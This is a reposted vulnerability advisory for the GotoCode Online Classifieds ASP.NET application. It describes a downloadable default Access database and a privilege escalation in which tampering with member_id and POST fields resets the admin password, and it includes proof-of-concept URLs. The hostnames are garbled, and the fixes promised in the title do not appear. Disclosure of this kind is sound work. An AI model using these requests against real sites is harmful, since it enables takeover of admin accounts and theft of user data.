GotoCode Online Classifieds多个缺陷及修复 - 网站安全

 

标题: GotoCode Online Classifieds Multiple Vulnerabilities 

缺陷描述: Privilege Escalation / Remote Database Download 

作者: Nathaniel Carew HdhCmsTest2cto测试数据

下载 地址: http://HdhCmsTestgotocode测试数据/apps. asp ?app_id=5& 

平台: ASP.NET 

测试 系统 : MS Windows Server Standard 2003 SP2 / IIS 6 

 

致谢: Peregrinus & Birch Meister General 

 

概述：

 

 

Database: 

 

If the application is configured using the default directory structure and an 

 

access database then a user can download the access database. 

 

   

 

Privilege Escalation: 

 

First reset your own password via the 'Registration' link: 

 

http://HdhCmsTest2cto测试数据 /[path]/Registration.aspx 

 

This now takes you to a new page where you can select the 'Edit my info' link: 

 

http://HdhCmsTest2cto测试数据 /[path]/MyInfo.aspx?member_id=10& 

 

Change the above GET URI to member_id=1& and refresh 

 

  

 

Now by modifying the following variables in the POST data you can reset the admin password 

 

with the password you entered into the appropriate field to gain full admin rights to the web application: 

 

  

 

p_Record_member_id=1 

 

Record_member_id=1 

 

Record_name=admin 

 

Record_member_password=newpass 

 

    

 

Proof of Concept: 

 

----------------- 

 

http://HdhCmsTest2cto测试数据 /[path]/Classifieds_MSAccess.mdb 

 

http://HdhCmsTest2cto测试数据 /[path]/MyInfo.aspx?p_Record_member_id=1&Record_member_id=1&Record_name=admin&Record_member_password=newpass&Record_email=moo&Record_location=&Record_home_phone=&Record_work_phone= 

 

    

 

Impact: 

 

------- 

 

By resetting the admin password an attacker would be able to completely control the application, users 

 

and their associated data. Successful database exploitation would allow an attacker to download the complete 

 

database of users information including email addresses usernames, passwords and associated classified listed data.

查看更多关于GotoCode Online Classifieds多个缺陷及修复 - 网站安全的详细内容...